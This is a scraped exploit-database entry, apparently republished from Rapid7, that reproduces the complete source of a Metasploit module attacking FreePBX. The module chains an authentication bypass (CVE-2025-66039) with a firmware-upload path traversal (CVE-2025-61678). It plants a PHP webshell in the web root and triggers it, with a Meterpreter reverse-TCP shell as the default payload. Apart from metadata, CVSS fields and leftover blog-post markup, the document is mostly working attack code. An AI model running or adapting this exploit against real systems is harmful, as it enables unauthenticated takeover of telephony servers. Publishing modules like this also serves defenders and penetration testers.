{“lastseen”:”2026-01-28T19:28:08″,”description”:”The FreePBX versions prior to 16.0.44,16.0.92 and 17.0.6,17.0.23 are vulnerable to multiple CVEs, specifically CVE-2025-66039 and CVE-2025-61678, in the context of this module. The versions before 16.0.44 and 17.0.23 are vulnerable to CVE-2025-66039,…”,”published”:”2026-01-28T19:00:04″,”modified”:”2026-01-28T19:00:04″,”type”:”metasploit”,”title”:”FreePBX firmware file upload”,”source”:””,”references”:””,”id”:”MSF:EXPLOIT-UNIX-HTTP-FREEPBX_FIRMWARE_FILE_UPLOAD-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-61678″,”CVE-2025-66039″],”sourceData”:”##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Remote\\n Rank = ExcellentRanking\\n\\n include Exploit::Remote::HttpClient\\n include Msf::Exploit::FileDropper\\n\\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘FreePBX firmware file upload’,\\n ‘Description’ =\\u003e %q{\\n The FreePBX versions prior to 16.0.44,16.0.92 and 17.0.6,17.0.23 are vulnerable to multiple CVEs, specifically CVE-2025-66039 and CVE-2025-61678, in the context of this module. The versions before 16.0.44 and 17.0.23 are vulnerable to CVE-2025-66039, while versions before 16.0.92 and 17.0.6 are vulnerable to CVE-2025-61678. The former represents an authentication bypass: when FreePBX uses Webserver Authorization Mode (an option the admin can enable), it allows an attacker to authenticate as any user. The latter allows unrestricted file uploads via firmware upload, including path traversal. These vulnerabilities allow unauthenticated remote code execution by bypassing authentication and placing a webshell in the web server’s directory.\\n },\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Author’ =\\u003e [\\n ‘Noah King’, # research\\n ‘msutovsky-r7’ # module\\n ],\\n ‘References’ =\\u003e [\\n [ ‘CVE’, ‘2025-66039’], # Authentication Bypass\\n [ ‘CVE’, ‘2025-61678’], # File Upload and Path Traversal\\n [ ‘URL’, ‘https:\/\/horizon3.ai\/attack-research\/the-freepbx-rabbit-hole-cve-2025-66039-and-others\/’]\\n ],\\n ‘Platform’ =\\u003e [‘php’],\\n ‘Targets’ =\\u003e [\\n [\\n ‘PHP’,\\n {\\n ‘Platform’ =\\u003e ‘php’,\\n ‘Arch’ =\\u003e ARCH_PHP,\\n ‘DefaultOptions’ =\\u003e { ‘PAYLOAD’ =\\u003e ‘php\/meterpreter\/reverse_tcp’ },\\n ‘Type’ =\\u003e :php\\n }\\n ]\\n ],\\n ‘DisclosureDate’ =\\u003e ‘2025-12-11’,\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION],\\n ‘SideEffects’ =\\u003e [ARTIFACTS_ON_DISK, IOC_IN_LOGS]\\n }\\n )\\n )\\n\\n register_options(\\n [\\n OptString.new(‘USERNAME’, [true, ‘A valid FreePBX user’]),\\n ]\\n )\\n end\\n\\n def check\\n res = send_request_cgi({\\n ‘uri’ =\\u003e normalize_uri(‘admin’, ‘config.php’),\\n ‘method’ =\\u003e ‘GET’\\n })\\n\\n if (res\\u0026.code == 401 \\u0026\\u0026 res.body.include?(‘FreePBX’)) ||\\n (res.code == 500)\\n return CheckCode::Detected(‘The FreePBX with Webserver authentication mode detected’)\\n end\\n\\n CheckCode::Safe(‘Webserver authorization mode is not set’)\\n end\\n\\n def get_session_cookie\\n res = send_request_cgi({\\n ‘uri’ =\\u003e normalize_uri(‘admin’, ‘config.php’),\\n ‘method’ =\\u003e ‘GET’,\\n ‘headers’ =\\u003e { ‘Authorization’ =\\u003e basic_auth(datastore[‘USERNAME’], Rex::Text.rand_text_alphanumeric(6)) },\\n ‘keep_cookies’ =\\u003e true\\n })\\n\\n fail_with(Failure::UnexpectedReply, ‘Received unexpected reply’) unless res\\u0026.code == 401\\n\\n fail_with(Failure::NotVulnerable, ‘Target might not be vulnerable to authentication bypass’) unless res.get_cookies\\n end\\n\\n def upload_webshell\\n @target_payload_file_name = %(#{Rex::Text.rand_text_alphanumeric(8).downcase}.php)\\n @target_dir = Rex::Text.rand_text_alphanumeric(8).downcase\\n\\n form_data = Rex::MIME::Message.new\\n\\n form_data.add_part(SecureRandom.uuid, nil, nil, ‘form-data; name=\\”dzuuid\\”‘)\\n form_data.add_part(‘0’, nil, nil, ‘form-data; name=\\”dzchunkindex\\”‘)\\n form_data.add_part(payload.encoded.length.to_s, nil, nil, ‘form-data; name=\\”dztotalfilesize\\”‘)\\n form_data.add_part(‘2000000’, nil, nil, ‘form-data; name=\\”dzchunksize\\”‘)\\n form_data.add_part(‘1’, nil, nil, ‘form-data; name=\\”dztotalchunkcount\\”‘)\\n form_data.add_part(‘0’, nil, nil, ‘form-data; name=\\”dzchunkbyteoffset\\”‘)\\n form_data.add_part(\\”..\/..\/..\/var\/www\/html\/#{@target_dir}\\”, nil, nil, ‘form-data; name=\\”fwbrand\\”‘)\\n form_data.add_part(‘1’, nil, nil, ‘form-data; name=\\”fwmodel\\”‘)\\n form_data.add_part(‘1’, nil, nil, ‘form-data; name=\\”fwversion\\”‘)\\n form_data.add_part(payload.encoded, ‘application\/octet-stream’, nil, %(form-data; name=\\”file\\”; filename=\\”#{@target_payload_file_name}\\”))\\n\\n res = send_request_cgi({\\n ‘uri’ =\\u003e normalize_uri(‘admin’, ‘ajax.php’),\\n ‘method’ =\\u003e ‘POST’,\\n ‘headers’ =\\u003e {\\n ‘Authorization’ =\\u003e basic_auth(Rex::Text.rand_text_alphanumeric(6), Rex::Text.rand_text_alphanumeric(6)),\\n ‘Referer’ =\\u003e full_uri(normalize_uri(‘admin’, ‘config.php’))\\n },\\n ‘ctype’ =\\u003e \\”multipart\/form-data; boundary=#{form_data.bound}\\”,\\n ‘vars_get’ =\\u003e { ‘module’ =\\u003e ‘endpoint’, ‘command’ =\\u003e ‘upload_cust_fw’ },\\n ‘data’ =\\u003e form_data.to_s\\n })\\n\\n fail_with(Failure::PayloadFailed, ‘Failed to upload webshell’) unless res\\u0026.code == 500\\n register_dir_for_cleanup(\\”..\/#{@target_dir}\\”)\\n end\\n\\n def trigger_payload\\n send_request_cgi({\\n ‘uri’ =\\u003e normalize_uri(@target_dir, @target_payload_file_name),\\n ‘method’ =\\u003e ‘GET’\\n })\\n end\\n\\n def exploit\\n print_status(‘Trying to bypass authentication…’)\\n get_session_cookie\\n\\n print_good(‘Bypass successful, trying upload webshell…’)\\n\\n upload_webshell\\n\\n print_good(‘Upload successful, triggering…’)\\n\\n trigger_payload\\n end\\nend\\n”,”sourceHref”:”https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/unix\/http\/freepbx_firmware_file_upload.rb”,”cvss”:{“score”:9.3,”severity”:”CRITICAL”,”vector”:”CVSS:4.0\/AV:N\/AC:L\/AT:N\/PR:N\/UI:N\/VC:H\/SC:N\/VI:H\/SI:N\/VA:H\/SA:N”,”version”:”4.0″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.rapid7.com\/db\/modules\/exploit\/unix\/http\/freepbx_firmware_file_upload\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-01-28T19:28:08″,”description”:”The FreePBX versions prior to 16.0.44,16.0.92 and 17.0.6,17.0.23 are vulnerable to multiple CVEs, specifically CVE-2025-66039 and CVE-2025-61678, in the context of this module. The versions…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,55,12,169,13,7,11,5],"class_list":["post-37954","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-93","tag-exploit","tag-metasploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n